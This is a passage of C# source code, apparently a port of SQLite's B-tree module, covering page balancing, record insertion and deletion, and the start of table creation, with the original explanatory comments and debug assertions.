Values computed by this block: ** ** k: The total number of sibling pages ** szNew[i]: Spaced used on the i-th sibling page. ** cntNew[i]: Index in apCell[] and szCell[] for the first cell to ** the right of the i-th sibling page. ** usableSpace: Number of bytes of space available on each sibling. ** */ usableSpace = pBt.usableSize - 12 + leafCorrection; for (subtotal = k = i = 0; i < nCell; i++) { Debug.Assert(i < nMaxCells); subtotal += szCell[i] + 2; if (subtotal > usableSpace) { szNew[k] = subtotal - szCell[i]; cntNew[k] = i; if (leafData != 0) { i--; } subtotal = 0; k++; if (k > NB + 1) { rc = SQLITE_CORRUPT; goto balance_cleanup; } } } szNew[k] = subtotal; cntNew[k] = nCell; k++; /* ** The packing computed by the previous block is biased toward the siblings ** on the left side. The left siblings are always nearly full, while the ** right-most sibling might be nearly empty. This block of code attempts ** to adjust the packing of siblings to get a better balance. ** ** This adjustment is more than an optimization. The packing above might ** be so out of balance as to be illegal. For example, the right-most ** sibling might be completely empty. This adjustment is not optional. */ for (i = k - 1; i > 0; i--) { int szRight = szNew[i]; /* Size of sibling on the right */ int szLeft = szNew[i - 1]; /* Size of sibling on the left */ int r; /* Index of right-most cell in left sibling */ int d; /* Index of first cell to the left of right sibling */ r = cntNew[i - 1] - 1; d = r + 1 - leafData; Debug.Assert(d < nMaxCells); Debug.Assert(r < nMaxCells); while (szRight == 0 || szRight + szCell[d] + 2 <= szLeft - (szCell[r] + 2)) { szRight += szCell[d] + 2; szLeft -= szCell[r] + 2; cntNew[i - 1]--; r = cntNew[i - 1] - 1; d = r + 1 - leafData; } szNew[i] = szRight; szNew[i - 1] = szLeft; } /* Either we found one or more cells (cntnew[0])>0) or pPage is ** a virtual root page. A virtual root page is when the real root ** page is page 1 and we are the only child of that page. */ Debug.Assert(cntNew[0] > 0 || (pParent.pgno == 1 && pParent.nCell == 0)); TRACE("BALANCE: old: %d %d %d ", apOld[0].pgno, nOld >= 2 ? apOld[1].pgno : 0, nOld >= 3 ? apOld[2].pgno : 0 ); /* ** Allocate k new pages. Reuse old pages where possible. */ if (apOld[0].pgno <= 1) { rc = SQLITE_CORRUPT; goto balance_cleanup; } pageFlags = apOld[0].aData[0]; for (i = 0; i < k; i++) { MemPage pNew = new MemPage(); if (i < nOld) { pNew = apNew[i] = apOld[i]; apOld[i] = null; rc = sqlite3PagerWrite(pNew.pDbPage); nNew++; if (rc != 0) goto balance_cleanup; } else { Debug.Assert(i > 0); rc = allocateBtreePage(pBt, ref pNew, ref pgno, pgno, 0); if (rc != 0) goto balance_cleanup; apNew[i] = pNew; nNew++; /* Set the pointer-map entry for the new sibling page. */ #if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) if (pBt.autoVacuum) #else if (false) #endif { ptrmapPut(pBt, pNew.pgno, PTRMAP_BTREE, pParent.pgno, ref rc); if (rc != SQLITE_OK) { goto balance_cleanup; } } } } /* Free any old pages that were not reused as new pages. */ while (i < nOld) { freePage(apOld[i], ref rc); if (rc != 0) goto balance_cleanup; releasePage(apOld[i]); apOld[i] = null; i++; } /* ** Put the new pages in accending order. This helps to ** keep entries in the disk file in order so that a scan ** of the table is a linear scan through the file. That ** in turn helps the operating system to deliver pages ** from the disk more rapidly. ** ** An O(n^2) insertion sort algorithm is used, but since ** n is never more than NB (a small constant), that should ** not be a problem. ** ** When NB==3, this one optimization makes the database ** about 25% faster for large insertions and deletions. */ for (i = 0; i < k - 1; i++) { int minV = (int)apNew[i].pgno; int minI = i; for (j = i + 1; j < k; j++) { if (apNew[j].pgno < (u32)minV) { minI = j; minV = (int)apNew[j].pgno; } } if (minI > i) { int t; MemPage pT; t = (int)apNew[i].pgno; pT = apNew[i]; apNew[i] = apNew[minI]; apNew[minI] = pT; } } TRACE("new: %d(%d) %d(%d) %d(%d) %d(%d) %d(%d)\n", apNew[0].pgno, szNew[0], nNew >= 2 ? apNew[1].pgno : 0, nNew >= 2 ? szNew[1] : 0, nNew >= 3 ? apNew[2].pgno : 0, nNew >= 3 ? szNew[2] : 0, nNew >= 4 ? apNew[3].pgno : 0, nNew >= 4 ? szNew[3] : 0, nNew >= 5 ? apNew[4].pgno : 0, nNew >= 5 ? szNew[4] : 0); Debug.Assert(sqlite3PagerIswriteable(pParent.pDbPage)); sqlite3Put4byte(pParent.aData, pRight, apNew[nNew - 1].pgno); /* ** Evenly distribute the data in apCell[] across the new pages. ** Insert divider cells into pParent as necessary. */ j = 0; for (i = 0; i < nNew; i++) { /* Assemble the new sibling page. */ MemPage pNew = apNew[i]; Debug.Assert(j < nMaxCells); zeroPage(pNew, pageFlags); assemblePage(pNew, cntNew[i] - j, apCell, szCell, j); Debug.Assert(pNew.nCell > 0 || (nNew == 1 && cntNew[0] == 0)); Debug.Assert(pNew.nOverflow == 0); j = cntNew[i]; /* If the sibling page assembled above was not the right-most sibling, ** insert a divider cell into the parent page. */ Debug.Assert(i < nNew - 1 || j == nCell); if (j < nCell) { u8[] pCell; u8[] pTemp; int sz; Debug.Assert(j < nMaxCells); pCell = apCell[j]; sz = szCell[j] + leafCorrection; pTemp = new byte[sz];//&aOvflSpace[iOvflSpace]; if (0 == pNew.leaf) { Buffer.BlockCopy(pCell, 0, pNew.aData, 8, 4);//memcpy( pNew.aData[8], pCell, 4 ); } else if (leafData != 0) { /* If the tree is a leaf-data tree, and the siblings are leaves, ** then there is no divider cell in apCell[]. Instead, the divider ** cell consists of the integer key for the right-most cell of ** the sibling-page assembled above only. */ CellInfo info = new CellInfo(); j--; btreeParseCellPtr( pNew, apCell[j], ref info ); pCell = pTemp; sz = 4 + putVarint( pCell, 4, (u64)info.nKey ); pTemp = null; } else { //------------ pCell -= 4; byte[] _pCell_4 = new byte[pCell.Length + 4]; Buffer.BlockCopy(pCell, 0, _pCell_4, 4, pCell.Length); pCell = _pCell_4; // /* Obscure case for non-leaf-data trees: If the cell at pCell was ** previously stored on a leaf node, and its reported size was 4 ** bytes, then it may actually be smaller than this ** (see btreeParseCellPtr(), 4 bytes is the minimum size of ** any cell). But it is important to pass the correct size to ** insertCell(), so reparse the cell now. ** ** Note that this can never happen in an SQLite data file, as all ** cells are at least 4 bytes. It only happens in b-trees used ** to evaluate "IN (SELECT ...)" and similar clauses. */ if (szCell[j] == 4) { Debug.Assert(leafCorrection == 4); sz = cellSizePtr(pParent, pCell); } } iOvflSpace += sz; Debug.Assert(sz <= pBt.pageSize / 4); Debug.Assert(iOvflSpace <= pBt.pageSize); insertCell(pParent, nxDiv, pCell, sz, pTemp, pNew.pgno, ref rc); if (rc != SQLITE_OK) goto balance_cleanup; Debug.Assert(sqlite3PagerIswriteable(pParent.pDbPage)); j++; nxDiv++; } } Debug.Assert(j == nCell); Debug.Assert(nOld > 0); Debug.Assert(nNew > 0); if ((pageFlags & PTF_LEAF) == 0) { Buffer.BlockCopy(apCopy[nOld - 1].aData, 8, apNew[nNew - 1].aData, 8, 4); //u8* zChild = &apCopy[nOld - 1].aData[8]; //memcpy( apNew[nNew - 1].aData[8], zChild, 4 ); } if (isRoot != 0 && pParent.nCell == 0 && pParent.hdrOffset <= apNew[0].nFree) { /* The root page of the b-tree now contains no cells. The only sibling ** page is the right-child of the parent. Copy the contents of the ** child page into the parent, decreasing the overall height of the ** b-tree structure by one. This is described as the "balance-shallower" ** sub-algorithm in some documentation. ** ** If this is an auto-vacuum database, the call to copyNodeContent() ** sets all pointer-map entries corresponding to database image pages ** for which the pointer is stored within the content being copied. ** ** The second Debug.Assert below verifies that the child page is defragmented ** (it must be, as it was just reconstructed using assemblePage()). This ** is important if the parent page happens to be page 1 of the database ** image. */ Debug.Assert(nNew == 1); Debug.Assert(apNew[0].nFree == (get2byte(apNew[0].aData, 5) - apNew[0].cellOffset - apNew[0].nCell * 2) ); copyNodeContent(apNew[0], pParent, ref rc); freePage(apNew[0], ref rc); } else #if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) if (pBt.autoVacuum) #else if (false) #endif { /* Fix the pointer-map entries for all the cells that were shifted around. ** There are several different types of pointer-map entries that need to ** be dealt with by this routine. Some of these have been set already, but ** many have not. The following is a summary: ** ** 1) The entries associated with new sibling pages that were not ** siblings when this function was called. These have already ** been set. We don't need to worry about old siblings that were ** moved to the free-list - the freePage() code has taken care ** of those. ** ** 2) The pointer-map entries associated with the first overflow ** page in any overflow chains used by new divider cells. These ** have also already been taken care of by the insertCell() code. ** ** 3) If the sibling pages are not leaves, then the child pages of ** cells stored on the sibling pages may need to be updated. ** ** 4) If the sibling pages are not internal intkey nodes, then any ** overflow pages used by these cells may need to be updated ** (internal intkey nodes never contain pointers to overflow pages). ** ** 5) If the sibling pages are not leaves, then the pointer-map ** entries for the right-child pages of each sibling may need ** to be updated. ** ** Cases 1 and 2 are dealt with above by other code. The next ** block deals with cases 3 and 4 and the one after that, case 5. Since ** setting a pointer map entry is a relatively expensive operation, this ** code only sets pointer map entries for child or overflow pages that have ** actually moved between pages. */ MemPage pNew = apNew[0]; MemPage pOld = apCopy[0]; int nOverflow = pOld.nOverflow; int iNextOld = pOld.nCell + nOverflow; int iOverflow = (nOverflow != 0 ? pOld.aOvfl[0].idx : -1); j = 0; /* Current 'old' sibling page */ k = 0; /* Current 'new' sibling page */ for (i = 0; i < nCell; i++) { int isDivider = 0; while (i == iNextOld) { /* Cell i is the cell immediately following the last cell on old ** sibling page j. If the siblings are not leaf pages of an ** intkey b-tree, then cell i was a divider cell. */ pOld = apCopy[++j]; iNextOld = i + (0 == leafData ? 1 : 0) + pOld.nCell + pOld.nOverflow; if (pOld.nOverflow != 0) { nOverflow = pOld.nOverflow; iOverflow = i + (0 == leafData ? 1 : 0 )+ pOld.aOvfl[0].idx; } isDivider = 0 == leafData ? 1 : 0; } Debug.Assert(nOverflow > 0 || iOverflow < i); Debug.Assert(nOverflow < 2 || pOld.aOvfl[0].idx == pOld.aOvfl[1].idx - 1); Debug.Assert(nOverflow < 3 || pOld.aOvfl[1].idx == pOld.aOvfl[2].idx - 1); if (i == iOverflow) { isDivider = 1; if ((--nOverflow) > 0) { iOverflow++; } } if (i == cntNew[k]) { /* Cell i is the cell immediately following the last cell on new ** sibling page k. If the siblings are not leaf pages of an ** intkey b-tree, then cell i is a divider cell. */ pNew = apNew[++k]; if (0 == leafData) continue; } Debug.Assert(j < nOld); Debug.Assert(k < nNew); /* If the cell was originally divider cell (and is not now) or ** an overflow cell, or if the cell was located on a different sibling ** page before the balancing, then the pointer map entries associated ** with any child or overflow pages need to be updated. */ if (isDivider != 0 || pOld.pgno != pNew.pgno) { if (0 == leafCorrection) { ptrmapPut(pBt, sqlite3Get4byte(apCell[i]), PTRMAP_BTREE, pNew.pgno, ref rc); } if (szCell[i] > pNew.minLocal) { ptrmapPutOvflPtr(pNew, apCell[i], ref rc); } } } if (0 == leafCorrection) { for (i = 0; i < nNew; i++) { u32 key = sqlite3Get4byte(apNew[i].aData, 8); ptrmapPut(pBt, key, PTRMAP_BTREE, apNew[i].pgno, ref rc); } } #if FALSE /* The ptrmapCheckPages() contains Debug.Assert() statements that verify that ** all pointer map pages are set correctly. This is helpful while ** debugging. This is usually disabled because a corrupt database may ** cause an Debug.Assert() statement to fail. */ ptrmapCheckPages(apNew, nNew); ptrmapCheckPages(pParent, 1); #endif } Debug.Assert(pParent.isInit != 0); TRACE("BALANCE: finished: old=%d new=%d cells=%d\n", nOld, nNew, nCell); /* ** Cleanup before returning. */ balance_cleanup: //sqlite3ScratchFree( ref apCell ); for (i = 0; i < nOld; i++) { releasePage(apOld[i]); } for (i = 0; i < nNew; i++) { releasePage(apNew[i]); } return rc; } /* ** This function is called when the root page of a b-tree structure is ** overfull (has one or more overflow pages). ** ** A new child page is allocated and the contents of the current root ** page, including overflow cells, are copied into the child. The root ** page is then overwritten to make it an empty page with the right-child ** pointer pointing to the new page. ** ** Before returning, all pointer-map entries corresponding to pages ** that the new child-page now contains pointers to are updated. The ** entry corresponding to the new right-child pointer of the root ** page is also updated. ** ** If successful, ppChild is set to contain a reference to the child ** page and SQLITE_OK is returned. In this case the caller is required ** to call releasePage() on ppChild exactly once. If an error occurs, ** an error code is returned and ppChild is set to 0. */ static int balance_deeper(MemPage pRoot, ref MemPage ppChild) { int rc; /* Return value from subprocedures */ MemPage pChild = null; /* Pointer to a new child page */ Pgno pgnoChild = 0; /* Page number of the new child page */ BtShared pBt = pRoot.pBt; /* The BTree */ Debug.Assert(pRoot.nOverflow > 0); Debug.Assert(sqlite3_mutex_held(pBt.mutex)); /* Make pRoot, the root page of the b-tree, writable. Allocate a new ** page that will become the new right-child of pPage. Copy the contents ** of the node stored on pRoot into the new child page. */ rc = sqlite3PagerWrite(pRoot.pDbPage); if (rc == SQLITE_OK) { rc = allocateBtreePage(pBt, ref pChild, ref pgnoChild, pRoot.pgno, 0); copyNodeContent(pRoot, pChild, ref rc); #if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) if (pBt.autoVacuum) #else if (false) #endif { ptrmapPut(pBt, pgnoChild, PTRMAP_BTREE, pRoot.pgno, ref rc); } } if (rc != 0) { ppChild = null; releasePage(pChild); return rc; } Debug.Assert(sqlite3PagerIswriteable(pChild.pDbPage)); Debug.Assert(sqlite3PagerIswriteable(pRoot.pDbPage)); Debug.Assert(pChild.nCell == pRoot.nCell); TRACE("BALANCE: copy root %d into %d\n", pRoot.pgno, pChild.pgno); /* Copy the overflow cells from pRoot to pChild */ Array.Copy(pRoot.aOvfl, pChild.aOvfl, pRoot.nOverflow);//memcpy(pChild.aOvfl, pRoot.aOvfl, pRoot.nOverflow*sizeof(pRoot.aOvfl[0])); pChild.nOverflow = pRoot.nOverflow; /* Zero the contents of pRoot. Then install pChild as the right-child. */ zeroPage(pRoot, pChild.aData[0] & ~PTF_LEAF); sqlite3Put4byte(pRoot.aData, pRoot.hdrOffset + 8, pgnoChild); ppChild = pChild; return SQLITE_OK; } /* ** The page that pCur currently points to has just been modified in ** some way. This function figures out if this modification means the ** tree needs to be balanced, and if so calls the appropriate balancing ** routine. Balancing routines are: ** ** balance_quick() ** balance_deeper() ** balance_nonroot() */ static int balance(BtCursor pCur) { int rc = SQLITE_OK; int nMin = pCur.pBt.usableSize * 2 / 3; u8[] aBalanceQuickSpace = new u8[13]; u8[] pFree = null; #if !NDEBUG || SQLITE_COVERAGE_TEST || DEBUG int balance_quick_called = 0;//TESTONLY( int balance_quick_called = 0 ); int balance_deeper_called = 0;//TESTONLY( int balance_deeper_called = 0 ); #else int balance_quick_called = 0; int balance_deeper_called = 0; #endif do { int iPage = pCur.iPage; MemPage pPage = pCur.apPage[iPage]; if (iPage == 0) { if (pPage.nOverflow != 0) { /* The root page of the b-tree is overfull. In this case call the ** balance_deeper() function to create a new child for the root-page ** and copy the current contents of the root-page to it. The ** next iteration of the do-loop will balance the child page. */ Debug.Assert((balance_deeper_called++) == 0); rc = balance_deeper(pPage, ref pCur.apPage[1]); if (rc == SQLITE_OK) { pCur.iPage = 1; pCur.aiIdx[0] = 0; pCur.aiIdx[1] = 0; Debug.Assert(pCur.apPage[1].nOverflow != 0); } } else { break; } } else if (pPage.nOverflow == 0 && pPage.nFree <= nMin) { break; } else { MemPage pParent = pCur.apPage[iPage - 1]; int iIdx = pCur.aiIdx[iPage - 1]; rc = sqlite3PagerWrite(pParent.pDbPage); if (rc == SQLITE_OK) { #if !SQLITE_OMIT_QUICKBALANCE if (pPage.hasData != 0 && pPage.nOverflow == 1 && pPage.aOvfl[0].idx == pPage.nCell && pParent.pgno != 1 && pParent.nCell == iIdx ) { /* Call balance_quick() to create a new sibling of pPage on which ** to store the overflow cell. balance_quick() inserts a new cell ** into pParent, which may cause pParent overflow. If this ** happens, the next interation of the do-loop will balance pParent ** use either balance_nonroot() or balance_deeper(). Until this ** happens, the overflow cell is stored in the aBalanceQuickSpace[] ** buffer. ** ** The purpose of the following Debug.Assert() is to check that only a ** single call to balance_quick() is made for each call to this ** function. If this were not verified, a subtle bug involving reuse ** of the aBalanceQuickSpace[] might sneak in. */ Debug.Assert((balance_quick_called++) == 0); rc = balance_quick(pParent, pPage, aBalanceQuickSpace); } else #endif { /* In this case, call balance_nonroot() to redistribute cells ** between pPage and up to 2 of its sibling pages. This involves ** modifying the contents of pParent, which may cause pParent to ** become overfull or underfull. The next iteration of the do-loop ** will balance the parent page to correct this. ** ** If the parent page becomes overfull, the overflow cell or cells ** are stored in the pSpace buffer allocated immediately below. ** A subsequent iteration of the do-loop will deal with this by ** calling balance_nonroot() (balance_deeper() may be called first, ** but it doesn't deal with overflow cells - just moves them to a ** different page). Once this subsequent call to balance_nonroot() ** has completed, it is safe to release the pSpace buffer used by ** the previous call, as the overflow cell data will have been ** copied either into the body of a database page or into the new ** pSpace buffer passed to the latter call to balance_nonroot(). */ u8[] pSpace = new u8[pCur.pBt.pageSize];// u8 pSpace = sqlite3PageMalloc( pCur.pBt.pageSize ); rc = balance_nonroot(pParent, iIdx, pSpace, iPage == 1 ? 1 : 0); //if (pFree != null) //{ // /* If pFree is not NULL, it points to the pSpace buffer used // ** by a previous call to balance_nonroot(). Its contents are // ** now stored either on real database pages or within the // ** new pSpace buffer, so it may be safely freed here. */ // sqlite3PageFree(ref pFree); //} /* The pSpace buffer will be freed after the next call to ** balance_nonroot(), or just before this function returns, whichever ** comes first. */ pFree = pSpace; } } pPage.nOverflow = 0; /* The next iteration of the do-loop balances the parent page. */ releasePage(pPage); pCur.iPage--; } } while (rc == SQLITE_OK); //if (pFree != null) //{ // sqlite3PageFree(ref pFree); //} return rc; } /* ** Insert a new record into the BTree. The key is given by (pKey,nKey) ** and the data is given by (pData,nData). The cursor is used only to ** define what table the record should be inserted into. The cursor ** is left pointing at a random location. ** ** For an INTKEY table, only the nKey value of the key is used. pKey is ** ignored. For a ZERODATA table, the pData and nData are both ignored. ** ** If the seekResult parameter is non-zero, then a successful call to ** MovetoUnpacked() to seek cursor pCur to (pKey, nKey) has already ** been performed. seekResult is the search result returned (a negative ** number if pCur points at an entry that is smaller than (pKey, nKey), or ** a positive value if pCur points at an etry that is larger than ** (pKey, nKey)). ** ** If the seekResult parameter is 0, then cursor pCur may point to any ** entry or to no entry at all. In this case this function has to seek ** the cursor before the new key can be inserted. */ static int sqlite3BtreeInsert( BtCursor pCur, /* Insert data into the table of this cursor */ byte[] pKey, i64 nKey, /* The key of the new record */ byte[] pData, int nData, /* The data of the new record */ int nZero, /* Number of extra 0 bytes to append to data */ int appendBias, /* True if this is likely an append */ int seekResult /* Result of prior MovetoUnpacked() call */ ) { int rc; int loc = seekResult; int szNew = 0; int idx; MemPage pPage; Btree p = pCur.pBtree; BtShared pBt = p.pBt; int oldCell; byte[] newCell = null; if (pCur.eState == CURSOR_FAULT) { Debug.Assert(pCur.skipNext != SQLITE_OK); return pCur.skipNext; } Debug.Assert(cursorHoldsMutex(pCur)); Debug.Assert(pCur.wrFlag != 0 && pBt.inTransaction == TRANS_WRITE && !pBt.readOnly); Debug.Assert(hasSharedCacheTableLock(p, pCur.pgnoRoot, pCur.pKeyInfo != null ? 1 : 0, 2)); /* Assert that the caller has been consistent. If this cursor was opened ** expecting an index b-tree, then the caller should be inserting blob ** keys with no associated data. If the cursor was opened expecting an ** intkey table, the caller should be inserting integer keys with a ** blob of associated data. */ Debug.Assert((pKey == null) == (pCur.pKeyInfo == null)); /* If this is an insert into a table b-tree, invalidate any incrblob ** cursors open on the row being replaced (assuming this is a replace ** operation - if it is not, the following is a no-op). */ if (pCur.pKeyInfo == null) { invalidateIncrblobCursors(p, nKey, 0); } /* Save the positions of any other cursors open on this table. ** ** In some cases, the call to btreeMoveto() below is a no-op. For ** example, when inserting data into a table with auto-generated integer ** keys, the VDBE layer invokes sqlite3BtreeLast() to figure out the ** integer key to use. It then calls this function to actually insert the ** data into the intkey B-Tree. In this case btreeMoveto() recognizes ** that the cursor is already where it needs to be and returns without ** doing any work. To avoid thwarting these optimizations, it is important ** not to clear the cursor here. */ rc = saveAllCursors(pBt, pCur.pgnoRoot, pCur); if (rc != 0) return rc; if (0 == loc) { rc = btreeMoveto(pCur, pKey, nKey, appendBias, ref loc); if (rc != 0) return rc; } Debug.Assert(pCur.eState == CURSOR_VALID || (pCur.eState == CURSOR_INVALID && loc != 0)); pPage = pCur.apPage[pCur.iPage]; Debug.Assert(pPage.intKey != 0 || nKey >= 0); Debug.Assert(pPage.leaf != 0 || 0 == pPage.intKey); TRACE("INSERT: table=%d nkey=%lld ndata=%d page=%d %s\n", pCur.pgnoRoot, nKey, nData, pPage.pgno, loc == 0 ? "overwrite" : "new entry"); Debug.Assert(pPage.isInit != 0); allocateTempSpace(pBt); newCell = pBt.pTmpSpace; //if (newCell == null) return SQLITE_NOMEM; rc = fillInCell(pPage, newCell, pKey, nKey, pData, nData, nZero, ref szNew); if (rc != 0) goto end_insert; Debug.Assert(szNew == cellSizePtr(pPage, newCell)); Debug.Assert(szNew <= MX_CELL_SIZE(pBt)); idx = pCur.aiIdx[pCur.iPage]; if (loc == 0) { u16 szOld; Debug.Assert(idx < pPage.nCell); rc = sqlite3PagerWrite(pPage.pDbPage); if (rc != 0) { goto end_insert; } oldCell = findCell(pPage, idx); if (0 == pPage.leaf) { //memcpy(newCell, oldCell, 4); newCell[0] = pPage.aData[oldCell + 0]; newCell[1] = pPage.aData[oldCell + 1]; newCell[2] = pPage.aData[oldCell + 2]; newCell[3] = pPage.aData[oldCell + 3]; } szOld = cellSizePtr(pPage, oldCell); rc = clearCell(pPage, oldCell); dropCell(pPage, idx, szOld, ref rc); if (rc != 0) goto end_insert; } else if (loc < 0 && pPage.nCell > 0) { Debug.Assert(pPage.leaf != 0); idx = ++pCur.aiIdx[pCur.iPage]; } else { Debug.Assert(pPage.leaf != 0); } insertCell(pPage, idx, newCell, szNew, null, 0, ref rc); Debug.Assert(rc != SQLITE_OK || pPage.nCell > 0 || pPage.nOverflow > 0); /* If no error has occured and pPage has an overflow cell, call balance() ** to redistribute the cells within the tree. Since balance() may move ** the cursor, zero the BtCursor.info.nSize and BtCursor.validNKey ** variables. ** ** Previous versions of SQLite called moveToRoot() to move the cursor ** back to the root page as balance() used to invalidate the contents ** of BtCursor.apPage[] and BtCursor.aiIdx[]. Instead of doing that, ** set the cursor state to "invalid". This makes common insert operations ** slightly faster. ** ** There is a subtle but important optimization here too. When inserting ** multiple records into an intkey b-tree using a single cursor (as can ** happen while processing an "INSERT INTO ... SELECT" statement), it ** is advantageous to leave the cursor pointing to the last entry in ** the b-tree if possible. If the cursor is left pointing to the last ** entry in the table, and the next row inserted has an integer key ** larger than the largest existing key, it is possible to insert the ** row without seeking the cursor. This can be a big performance boost. */ pCur.info.nSize = 0; pCur.validNKey = false; if (rc == SQLITE_OK && pPage.nOverflow != 0) { rc = balance(pCur); /* Must make sure nOverflow is reset to zero even if the balance() ** fails. Internal data structure corruption will result otherwise. ** Also, set the cursor state to invalid. This stops saveCursorPosition() ** from trying to save the current position of the cursor. */ pCur.apPage[pCur.iPage].nOverflow = 0; pCur.eState = CURSOR_INVALID; } Debug.Assert(pCur.apPage[pCur.iPage].nOverflow == 0); end_insert: return rc; } /* ** Delete the entry that the cursor is pointing to. The cursor ** is left pointing at a arbitrary location. */ static int sqlite3BtreeDelete(BtCursor pCur) { Btree p = pCur.pBtree; BtShared pBt = p.pBt; int rc; /* Return code */ MemPage pPage; /* Page to delete cell from */ int pCell; /* Pointer to cell to delete */ int iCellIdx; /* Index of cell to delete */ int iCellDepth; /* Depth of node containing pCell */ Debug.Assert(cursorHoldsMutex(pCur)); Debug.Assert(pBt.inTransaction == TRANS_WRITE); Debug.Assert(!pBt.readOnly); Debug.Assert(pCur.wrFlag != 0); Debug.Assert(hasSharedCacheTableLock(p, pCur.pgnoRoot, pCur.pKeyInfo != null ? 1 : 0, 2)); Debug.Assert(!hasReadConflicts(p, pCur.pgnoRoot)); if (NEVER(pCur.aiIdx[pCur.iPage] >= pCur.apPage[pCur.iPage].nCell) || NEVER(pCur.eState != CURSOR_VALID) ) { return SQLITE_ERROR; /* Something has gone awry. */ } /* If this is a delete operation to remove a row from a table b-tree, ** invalidate any incrblob cursors open on the row being deleted. */ if (pCur.pKeyInfo == null) { invalidateIncrblobCursors(p, pCur.info.nKey, 0); } iCellDepth = pCur.iPage; iCellIdx = pCur.aiIdx[iCellDepth]; pPage = pCur.apPage[iCellDepth]; pCell = findCell(pPage, iCellIdx); /* If the page containing the entry to delete is not a leaf page, move ** the cursor to the largest entry in the tree that is smaller than ** the entry being deleted. This cell will replace the cell being deleted ** from the internal node. The 'previous' entry is used for this instead ** of the 'next' entry, as the previous entry is always a part of the ** sub-tree headed by the child page of the cell being deleted. This makes ** balancing the tree following the delete operation easier. */ if (0 == pPage.leaf) { int notUsed = 0; rc = sqlite3BtreePrevious(pCur, ref notUsed); if (rc != 0) return rc; } /* Save the positions of any other cursors open on this table before ** making any modifications. Make the page containing the entry to be ** deleted writable. Then free any overflow pages associated with the ** entry and finally remove the cell itself from within the page. */ rc = saveAllCursors(pBt, pCur.pgnoRoot, pCur); if (rc != 0) return rc; rc = sqlite3PagerWrite(pPage.pDbPage); if (rc != 0) return rc; rc = clearCell(pPage, pCell); dropCell(pPage, iCellIdx, cellSizePtr(pPage, pCell), ref rc); if (rc != 0) return rc; /* If the cell deleted was not located on a leaf page, then the cursor ** is currently pointing to the largest entry in the sub-tree headed ** by the child-page of the cell that was just deleted from an internal ** node. The cell from the leaf node needs to be moved to the internal ** node to replace the deleted cell. */ if (0 == pPage.leaf) { MemPage pLeaf = pCur.apPage[pCur.iPage]; int nCell; Pgno n = pCur.apPage[iCellDepth + 1].pgno; //byte[] pTmp; pCell = findCell(pLeaf, pLeaf.nCell - 1); nCell = cellSizePtr(pLeaf, pCell); Debug.Assert(MX_CELL_SIZE(pBt) >= nCell); //allocateTempSpace(pBt); //pTmp = pBt.pTmpSpace; rc = sqlite3PagerWrite(pLeaf.pDbPage); byte[] pNext_4 = new byte[nCell + 4]; Buffer.BlockCopy(pLeaf.aData, pCell - 4, pNext_4, 0, nCell + 4); insertCell(pPage, iCellIdx, pNext_4, nCell + 4, null, n, ref rc); //insertCell( pPage, iCellIdx, pCell - 4, nCell + 4, pTmp, n, ref rc ); dropCell(pLeaf, pLeaf.nCell - 1, nCell, ref rc); if (rc != 0) return rc; } /* Balance the tree. If the entry deleted was located on a leaf page, ** then the cursor still points to that page. In this case the first ** call to balance() repairs the tree, and the if(...) condition is ** never true. ** ** Otherwise, if the entry deleted was on an internal node page, then ** pCur is pointing to the leaf page from which a cell was removed to ** replace the cell deleted from the internal node. This is slightly ** tricky as the leaf node may be underfull, and the internal node may ** be either under or overfull. In this case run the balancing algorithm ** on the leaf node first. If the balance proceeds far enough up the ** tree that we can be sure that any problem in the internal node has ** been corrected, so be it. Otherwise, after balancing the leaf node, ** walk the cursor up the tree to the internal node and balance it as ** well. */ rc = balance(pCur); if (rc == SQLITE_OK && pCur.iPage > iCellDepth) { while (pCur.iPage > iCellDepth) { releasePage(pCur.apPage[pCur.iPage--]); } rc = balance(pCur); } if (rc == SQLITE_OK) { moveToRoot(pCur); } return rc; } /* ** Create a new BTree table. Write into piTable the page ** number for the root page of the new table. ** ** The type of type is determined by the flags parameter. Only the ** following values of flags are currently in use. Other values for ** flags might not work: ** ** BTREE_INTKEY|BTREE_LEAFDATA Used for SQL tables with rowid keys ** BTREE_ZERODATA Used for SQL indices */ static int btreeCreateTable(Btree p, ref int piTable, int flags) { BtShared pBt = p.pBt; MemPage pRoot = new MemPage(); Pgno pgnoRoot = 0; int rc; Debug.Assert(sqlite3BtreeHoldsMutex(p)); Debug.Assert(pBt.inTransaction == TRANS_WRITE); Debug.Assert(!pBt.readOnly); #if SQLITE_OMIT_AUTOVACUUM rc = allocateBtreePage(pBt, ref pRoot, ref pgnoRoot, 1, 0); if( rc !=0){ return rc; } #else if (pBt.autoVacuum) { Pgno pgnoMove = 0; /* Move a page here to make room for the root-page */ MemPage pPageMove = new MemPage(); /* The page to move to. */ /* Creating a new table may probably require moving an existing database ** to make room for the new tables root page. In case this page turns ** out to be an overflow page, delete all overflow page-map caches ** held by open cursors. */ invalidateAllOverflowCache(pBt); /* Read the value of meta[3] from the database to determine where the ** root page of the new table should go. meta[3] is the largest root-page ** created so far, so the new root-page is (meta[3]+1). */ sqlite3BtreeGetMeta(p, BTREE_LARGEST_ROOT_PAGE, ref pgnoRoot); pgnoRoot++; /* The new root-page may not be allocated on a pointer-map page, or the ** PENDING_BYTE page. */ while (pgnoRoot == PTRMAP_PAGENO(pBt, pgnoRoot) || pgnoRoot == PENDING_BYTE_PAGE(pBt)) { pgnoRoot++; } Debug.Assert(pgnoRoot >= 3); /* Allocate a page. The page that currently resides at pgnoRoot will ** be moved to the allocated page (unless the allocated page happens ** to reside at pgnoRoot). */ rc = allocateBtreePage(pBt, ref pPageMove, ref pgnoMove, pgnoRoot, 1); if (rc != SQLITE_OK) { return rc; } if (pgnoMove != pgnoRoot) { /* pgnoRoot is the page that will be used for the root-page of ** the new table (assuming an error did not occur). But we were ** allocated pgnoMove. If required (i.e. if it was not allocated ** by extending the file), the current page at position pgnoMove ** is already journaled. */ u8 eType = 0; Pgno iPtrPage = 0; releasePage(pPageMove); /* Move the page currently at pgnoRoot to pgnoMove. */ rc = btreeGetPage(pBt, pgnoRoot, ref pRoot, 0); if (rc != SQLITE_OK) { return rc; } rc = ptrmapGet(pBt, pgnoRoot, ref eType, ref iPtrPage); if (eType == PTRMAP_ROOTPAGE || eType == PTRMAP_FREEPAGE) { #if SQLITE_DEBUG || DEBUG rc = SQLITE_CORRUPT_BKPT(); #else rc = SQLITE_CORRUPT_BKPT; #endif } if (rc != SQLITE_OK) { releasePage(pRoot); return rc; } Debug.Assert(eType != 